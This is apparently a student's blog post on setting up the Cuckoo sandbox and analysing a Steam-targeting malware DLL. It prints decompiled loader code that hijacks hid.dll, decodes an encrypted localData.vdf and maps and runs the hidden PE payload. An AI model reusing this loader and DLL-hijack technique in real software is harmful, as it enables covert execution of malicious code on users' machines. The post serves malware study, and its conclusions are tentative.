cuckoo搭建与[Steamwork1]简单分析报告

cuckoo

cuckoo环境不难配置,但是似乎断断续续产生的小问题(下载错win7.iso“安装助手”文件和网络环境配置改来改去,也没忍住继续再读书)直到今天才成功运行!(好耶!)

踩坑配置也整理了放在博客上

一直在pending,看来还得再修修:
image-20241030224001041

等着也不是办法——

Steamwork1

扔沙箱

第一次这样实战分析一个恶意程序,有些手忙脚乱

直接扔到微步沙箱——和zip包里另一个文件后缀名(.vdf)对应了,确实是小红伞检测出异常(后面分析发现,其实并不是这样)

image-20241030221825338

看到编译时间戳和首次分析提交的时间,似乎在同一天?

image-20241030222048758

签名者:Yuanyuan Pu

链接的网站只有这一个可以连通:

image-20241030223233132

image-20241030222900731

小红伞的“ADWARE/CrossRider.Gen4”

去搜了搜小红伞报的这个:

ADWARE/CrossRider.Gen4 是一种广告软件(adware),属于 CrossRider 家族。CrossRider 是一种较常见的广告软件平台,常用于分发弹出广告、劫持浏览器设置,或在网页上显示不请自来的广告。通常,它通过捆绑安装在其他免费软件中进入系统。

具体行为和风险

  1. 广告投放CrossRider 会在浏览器中显示广告,可能是弹出窗口、横幅广告或插入网页中的广告内容。
  2. 劫持浏览器:它可能会更改浏览器的默认设置(如主页和搜索引擎),将流量重定向到特定网站,以便增加广告收入。
  3. 跟踪用户行为CrossRider 可能会收集用户的浏览习惯、点击记录等信息,这些数据可能会被发送到第三方服务器用于广告投放。

结合学长说淘宝这个事情,像是前几天轻轻摇一摇就跳转淘宝的事情

IDA 尝试反编译

//TODO: (qwq .vdf文件完全没看懂,也不知道该怎么看(该怎么上手呢(挠头

翻回来发现,localdata.vdf是恶意程序生成的,唉?但是如何分析这个呢,网上也没有找到相关的分析(?
怀疑是被加密的恶意shellcode,在程序调用或者满足什么条件解密启动。

image-20241031011451784

借助chatGPT,看看程序都做了什么:

劫持DLL流,隐藏行为

image-20241031012007483

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
CHAR String1[260]; // [esp+0h] [ebp-108h] BYREF - 用于存储路径字符串,长度为 260 字节

// 当 fdwReason 为 1 时,表示 DLL 被加载到进程中
if ( fdwReason == 1 )
{
// 禁用线程调用通知,优化性能
DisableThreadLibraryCalls(hinstDLL);

// 检查是否存在名为 "SteamUI.dll" 的模块,如果存在则继续执行
if ( GetModuleHandleA("SteamUI.dll") )
{
// 调用自定义函数,功能不明确
sub_10001000();

// 拼接路径 "C:\\Windows\\System32\\hid.dll" 到 String1
lstrcatA(String1, "C:\\Windows\\System32\\hid.dll");

// 检查拼接后的路径是否存在
if ( GetFileAttributesA(String1) != -1 )
{
LABEL_6:
// 加载指定路径的 DLL,使用 LOAD_WITH_ALTERED_SEARCH_PATH 标志
LoadLibraryExA(String1, 0, 8u);
return 1; // 返回 1 表示成功
}

// 如果上述路径不存在,则尝试获取 Windows 目录路径
if ( GetWindowsDirectoryA(String1, 0x104u) )
{
// 拼接 "\\System32\\hid.dll" 到 Windows 目录路径后
lstrcatA(String1, "\\System32\\hid.dll");
goto LABEL_6; // 跳转到加载 DLL 的步骤
}
}
}
return 1; // 默认返回 1 表示 DLL 加载成功
}
  • 该代码是一个 DLL 的入口函数 DllMain,当 DLL 被加载时会执行相应逻辑。
  • 在加载时,如果检测到 “SteamUI.dll” 已存在,则尝试加载 “hid.dll” 文件。
  • 首先尝试从 “C:\Windows\System32” 目录加载,如果失败,则尝试使用 Windows 系统目录路径。
  • 整个过程可能与 DLL 劫持有关,通过加载系统 DLL,代码可能在做某种劫持行为。
解密shellcode并运行

image-20241031012314307

image-20241031012708386

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
int sub_10001000()
{
// 获取模块句柄
HMODULE ModuleHandleA = GetModuleHandleA("kernel32.dll");
HMODULE v1 = GetModuleHandleA("user32.dll");

// 获取函数地址
FARPROC (__stdcall *GetProcAddress)(HMODULE, LPCSTR) = (FARPROC (__stdcall *)(HMODULE, LPCSTR))::GetProcAddress(ModuleHandleA, "GetProcAddress");
LPVOID (__stdcall *VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD) = (LPVOID (__stdcall *)(LPVOID, SIZE_T, DWORD, DWORD))::GetProcAddress(ModuleHandleA, "VirtualAlloc");
BOOL (__stdcall *VirtualFree)(LPVOID, SIZE_T, DWORD) = (BOOL (__stdcall *)(LPVOID, SIZE_T, DWORD))::GetProcAddress(ModuleHandleA, "VirtualFree");
::GetProcAddress(v1, "MessageBoxA");
HANDLE (__stdcall *CreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE) = (HANDLE (__stdcall *)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE))::GetProcAddress(ModuleHandleA, "CreateFileA");
BOOL (__stdcall *ReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED) = (BOOL (__stdcall *)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED))::GetProcAddress(ModuleHandleA, "ReadFile");
BOOL (__stdcall *CloseHandle)(HANDLE) = (BOOL (__stdcall *)(HANDLE))::GetProcAddress(ModuleHandleA, "CloseHandle");
DWORD (__stdcall *GetFileSize)(HANDLE, LPDWORD) = (DWORD (__stdcall *)(HANDLE, LPDWORD))::GetProcAddress(ModuleHandleA, "GetFileSize");

// 初始化文件名缓冲区
memset(FileName, 0, 0x104u);

// 尝试获取 LOCALAPPDATA 环境变量
char *v3;
if (getenv("LOCALAPPDATA"))
{
v3 = getenv("LOCALAPPDATA");
}
else
{
// 如果无法获取 LOCALAPPDATA,尝试获取用户目录
pcbBuffer = 260;
if (!GetUserNameA(Buffer, &pcbBuffer)
|| (wsprintfA(FileName, "C:\\Users\\%s\\AppData\\Local", Buffer), GetFileAttributesA(FileName) == -1))
{
ppszPath = 0;
if (SHGetKnownFolderPath(&rfid, 0x8000u, 0, &ppszPath))
{
BOOL v4 = SHGetSpecialFolderPathA(0, FileName, 28, 0);
v3 = FileName;
if (!v4)
v3 = (char *)&unk_10018CB6;
}
else
{
// 处理已知的文件夹路径
sub_1000A2F7(0, FileName, 0x104u, ppszPath, 0x104u);
CoTaskMemFree(ppszPath);
v3 = FileName;
}
}
else
{
v3 = FileName;
}
}

// 设置文件路径
wsprintfA(v93, "%s\\Steam\\localData.vdf", v3);

// 打开文件
HANDLE v5 = CreateFileA(v93, 0x80000000, 1, 0, 3, 128, 0);
void *v6 = v5;
if (v5 == (HANDLE)-1)
return 0;

// 获取文件大小
SIZE_T v7 = GetFileSize(v5, 0);

// 分配内存
char *v8 = (char *)VirtualAlloc(0, v7, 12288, 4);
if (!v8)
{
CloseHandle(v6);
return 0;
}

// 读取文件内容
if (!ReadFile(v6, v8, v7, (LPDWORD)&v90, 0) || v90 != v7)
{
CloseHandle(v6);
goto LABEL_100;
}
CloseHandle(v6);

// 分配另一块内存
ppszPath = (PWSTR)(5 * v7);
pcbBuffer = (int)VirtualAlloc(0, 5 * v7, 12288, 4);
if (!pcbBuffer)
{
LABEL_100:
VirtualFree(v8, 0, 0x8000);
return 0;
}

// 文件内容的处理逻辑
unsigned int v10 = 0;
if (v7)
{
// 执行某些数据处理操作
if (v7 < 8)
goto LABEL_104;
if (v7 < 0x40)
goto LABEL_105;
__m128 *v11 = (__m128 *)(v8 + 32);
unsigned int v12 = v7 & 0x3F;
do
{
__m128 v13 = v11[-2];
v10 += 64;
v11 += 4;
v11[-6] = _mm_andnot_ps(v13, (__m128)xmmword_1001D520);
v11[-5] = _mm_andnot_ps(v11[-5], (__m128)xmmword_1001D520);
v11[-4] = _mm_andnot_ps(v11[-4], (__m128)xmmword_1001D520);
v11[-3] = _mm_andnot_ps(v11[-3], (__m128)xmmword_1001D520);
} while (v10 < v7 - v12);
if (v12 >= 8)
{
LABEL_105:
do
{
*(_QWORD *)&v8[v10] = _mm_andnot_ps(
(__m128)_mm_loadl_epi64((const __m128i *)&v8[v10]),
(__m128)xmmword_1001D520)
.m128_u64[0];
v10 += 8;
} while (v10 < (v7 & 0xFFFFFFF8));
}
if (v10 < v7)
{
LABEL_104:
do
{
v8[v10] = ~v8[v10];
++v10;
} while (v10 < v7);
}
}

// 分配用于保存处理结果的内存
v62 = (char *)pcbBuffer;
if (ppszPath)
{
v14 = (int)ppszPath;
ppszPath = 0;
}
else
{
v14 = 1;
v62 = &v89;
}
v79 = v8;
v80 = 0;
v85 = 0;
v86 = 0;
v87 = 0;

// 调用函数处理数据
if (sub_10003740(v59, v60))
goto LABEL_98;

v81 = v62;
v15 = 0;
for (i = 0;; v15 = i)
{
if (!v15)
{
i = v14;
v14 = 0;
}
if (!v80)
{
v80 = v7;
v7 = 0;
}
v16 = sub_10003980(&v79, 0);
v73 = v16;
if (v16)
break;
}

if (v62 != &v89)
ppszPath = v83;

if (v85)
{
// 调用回调函数
v17 = v86;
if (v86)
{
v18 = v84;
if (v84)
{
if (*(char ***)v84 == &v79 && (unsigned int)(*(_DWORD *)(v84 + 4) - 16180) <= 0x1F)
{
if (*(_DWORD *)(v84 + 56))
{
v86(v87, *(_DWORD *)(v84 + 56));
v17 = v86;
v18 = v84;
}
v17(v87, v18);
v16 = v73;
}
}
}
}

// 如果处理不成功,释放内存并返回
if (v16 != 1)
{
LABEL_98:
VirtualFree(v8, 0, 0x8000);
VirtualFree((LPVOID)pcbBuffer, 0, 0x8000);
return 0;
}

// 释放内存
VirtualFree(v8, 0, 0x8000);

// 进一步处理内存内容,检查文件头和其他信息
v19 = (_BYTE *)pcbBuffer;
if ((unsigned int)ppszPath < 0x40)
goto LABEL_96;
if (*(_WORD *)pcbBuffer != 23117)
goto LABEL_96;
v20 = *(_DWORD *)(pcbBuffer + 60);
v74 = v20;
if ((unsigned int)ppszPath < v20 + 248)
goto LABEL_96;
v21 = *(_DWORD *)(v20 + pcbBuffer) == 17744;
v22 = (PWSTR)(v20 + pcbBuffer);
ppszPath = (PWSTR)(v20 + pcbBuffer);

// 分配新的内存,并复制部分内容
if (v21 && (v23 = (_BYTE *)VirtualAlloc(0, *((_DWORD *)v22 + 20), 12288, 64), v24 = v23, (v70 = v23) != 0))
{
v25 = *((_DWORD *)v22 + 21);
if (v25)
{
v26 = v23;
v27 = v19 - v23;
do
{
v28 = v26[v27];
*v26++ = v28;
--v25;
} while (v25);
}

// 更多的数据复制和处理逻辑...
// ...

// 检查和加载函数指针
if (*((_DWORD *)v22 + 33))
{
v39 = &v24[*((_DWORD *)v22 + 32)];
v63 = v39;
if (*((_DWORD *)v39 + 3))
{
while (1)
{
v67 = GetModuleHandleA(&v24[*((_DWORD *)v39 + 3)]);
if (!v67)
goto LABEL_85;
v40 = *(_DWORD *)v39;
v41 = *((_DWORD *)v39 + 4);
v42 = &v24[*(_DWORD *)v39];
v43 = (FARPROC *)&v24[v41];
if (v42)
v41 = v40;
v44 = (int *)&v24[v41];
v45 = *v44 < 0;
if (*v44)
{
v46 = *v44;
do
{
v47 = v45 ? (const CHAR *)(unsigned __int16)v46 : &v24[v46 + 2];
v48 = GetProcAddress(v67, v47);
*v43 = v48;
if (!v48)
goto LABEL_85;
v49 = v44[1];
++v44;
++v43;
v46 = v49;
v45 = v49 < 0;
} while (v49);
}
v39 = v63 + 20;
v63 = v39;
if (!*((_DWORD *)v39 + 3))
{
v22 = ppszPath;
break;
}
}
}
}

// 调用加载的函数
v50 = *((_DWORD *)v22 + 10);
if (v50 && !((int (__stdcall *)(CHAR *, int, _DWORD))&v24[v50])(v24, 1, 0))
{
LABEL_85:
VirtualFree(v24, 0, 0x8000);
VirtualFree((LPVOID)pcbBuffer, 0, 0x8000);
return 1;
}
VirtualFree((LPVOID)pcbBuffer, 0, 0x8000);

// 处理成功,执行回调
v51 = *((_DWORD *)v24 + 15);
if (*(_DWORD *)&v24[v51 + 124])
{
v52 = 0;
v53 = &v24[*(_DWORD *)&v24[v51 + 120]];
v75 = &v24[*((_DWORD *)v53 + 9)];
v54 = &v24[*((_DWORD *)v53 + 8)];
v71 = &v24[*((_DWORD *)v53 + 7)];
v76 = *((_DWORD *)v53 + 6);
if (v76)
{
while (1)
{
v55 = "loadLib";
v56 = &v24[*(_DWORD *)&v54[4 * v52]];
v57 = 108;
do
{
if (v57 != *v56)
break;
v57 = *++v55;
++v56;
} while (v57);
if (*(unsigned __int8 *)v55 == (unsigned __int8)*v56)
break;
if (++v52 >= v76)
return 1;
}
v58 = (void (*)(void))&v24[*(_DWORD *)&v71[4 * *(unsigned __int16 *)&v75[2 * v52]]];
if (v58)
{
v58();
return 1;
}
}
}
}
else
{
LABEL_96:
VirtualFree(v19, 0, 0x8000);
}
return 1;
}

尝试解密localdate.vdf

一些功能函数

或者我认为它模仿被替换的dll工作……

将宽字符字符串转换为多字节字符串
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
errno_t __cdecl _wcstombs_s_l(
size_t *PtNumOfCharConverted,
char *Dst,
size_t DstSizeInBytes,
const wchar_t *Src,
size_t MaxCountInBytes,
_locale_t Locale)
{
unsigned int v6; // 存储实际转换的字节数
int *v7; // 指向错误代码的指针
unsigned int v9; // 转换结果
size_t v10; // 计算的字符串长度
errno_t v11; // 返回的错误代码
errno_t v12; // 临时错误代码

// 检查目标缓冲区是否为空
if (Dst)
{
if (DstSizeInBytes) // 如果目标大小非零
goto LABEL_3;
LABEL_12:
*_errno() = 22; // 设置错误代码为EINVAL
_invalid_parameter_noinfo(); // 调用无参数的无效参数处理函数
return 22; // 返回错误代码
}
if (DstSizeInBytes) // 如果目标大小非零
goto LABEL_12;

LABEL_3:
if (Dst)
*Dst = 0; // 设置目标缓冲区的第一个字符为空
if (PtNumOfCharConverted)
*PtNumOfCharConverted = 0; // 将转换的字符数置为0
v6 = DstSizeInBytes;
if (MaxCountInBytes <= DstSizeInBytes)
v6 = MaxCountInBytes; // 确定要转换的字节数
if (v6 > 0x7FFFFFFF) // 如果转换的字节数大于最大允许值
{
v7 = _errno(); // 获取错误代码指针
v12 = 22; // 设置错误代码为EINVAL
LABEL_22:
*v7 = v12; // 设置错误代码
_invalid_parameter_noinfo(); // 调用无效参数处理函数
return v12; // 返回错误代码
}

// 调用帮助函数进行转换
v9 = _wcstombs_l_helper(Dst, Src, v6, Locale);
if (v9 == -1) // 如果转换失败
{
if (Dst)
*Dst = 0; // 设置目标缓冲区为空
return *_errno(); // 返回错误代码
}
else
{
v10 = v9 + 1; // 计算目标缓冲区所需的长度
if (Dst)
{
if (v10 <= DstSizeInBytes) // 检查是否超出目标缓冲区大小
{
v11 = 0; // 设置返回值为0,表示成功
}
else
{
if (MaxCountInBytes != -1)
{
*Dst = 0; // 设置目标缓冲区为空
if (DstSizeInBytes <= v10) // 检查目标缓冲区是否足够
{
v7 = _errno(); // 获取错误代码指针
v12 = 34; // 设置错误代码为ERANGE
goto LABEL_22; // 跳转到错误处理部分
}
}
v10 = DstSizeInBytes; // 将目标长度设置为目标缓冲区大小
v11 = 80; // 设置返回值为80,表示缓冲区不足
}
Dst[v10 - 1] = 0; // 确保目标缓冲区以空字符结尾
}
else
{
v11 = 0; // 如果目标为空,返回0表示成功
}
if (PtNumOfCharConverted)
*PtNumOfCharConverted = v10; // 更新转换的字符数
return v11; // 返回错误代码或成功标识
}
}


文章作者: W3nL0u
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 W3nL0u !
  目录